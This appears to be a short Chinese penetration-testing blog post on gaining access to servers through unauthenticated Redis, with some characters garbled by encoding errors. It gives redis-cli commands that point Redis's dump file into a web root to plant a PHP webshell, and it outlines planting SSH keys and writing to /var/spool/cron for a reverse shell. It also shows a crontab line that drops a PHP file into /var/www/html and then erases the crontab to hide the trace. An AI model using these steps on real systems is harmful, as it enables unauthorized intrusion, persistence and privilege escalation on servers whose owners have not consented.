Redis 匿名訪問利用技巧
Redis 數(shù)據(jù)庫在內(nèi)網(wǎng)滲透中比較常見，結(jié)合近期的利用過程，記錄下：
在內(nèi)網(wǎng)機(jī)器中下載Redis 解壓 make一下，不用make install
A) 一般情況下知道路徑寫shell
- ./redis-cli -h IP
- config set dir /home/wwwroot/default/
- config set dbfilename redis.php
- set webshell " phpinfo(); ?>"
- save
B) 利用公匙免密碼登錄1 本機(jī)生成公匙2 利用redis將公匙備份到redis機(jī)器上C) 利用linux的任務(wù)反彈shell
1 /var/spool/cron linux機(jī)器下默認(rèn)的計劃任務(wù)，開啟cron的時候，linux會定時去執(zhí)行里面的任務(wù)，文件名為用戶名2 redis 設(shè)置dbfilename 到上面可以直接反彈shell回來
大概總結(jié)了主要是以上三種方式獲取redis服務(wù)器的權(quán)限，因為redis一般都是root權(quán)限啟動的，所以權(quán)限很大。
但滲透過程中總是會出現(xiàn)意向不到的情況，有木有啊。
第一種方式，如果redis數(shù)據(jù)庫太大，導(dǎo)致php馬超限，直接500不解析，那我們可以通過第三個命令寫個馬到web目錄
- */1 * * * * echo " phpinofo();?>" >/var/www/html/90sec.php;crontab -r
這樣的馬就沒問題了
第二種方式，我測試本機(jī)沒問題，但是到了滲透環(huán)境就出問題了，應(yīng)該是ssh免密碼登錄 .ssh目錄權(quán)限問題，成功幾率不太大
第三種方式，最喜歡的一種，簡單粗暴明了，連提權(quán)都省了(如果是重要的機(jī)器，root用戶一般都會有計劃任務(wù)，建議先用低權(quán)限的用戶反彈個shell上去 探下情況，在root) 但也遇到很奇葩的不給連接外網(wǎng)的機(jī)器，那就只能寫個shell到web目錄，或者在內(nèi)網(wǎng)監(jiān)聽一個bashshell ，自己去連接就ok了
redis還有一個發(fā)現(xiàn)就是，高版本的linux提權(quán)不了，我們也可以通過redis直接提權(quán)，也就是第三方軟件提權(quán)的一種方法吧。
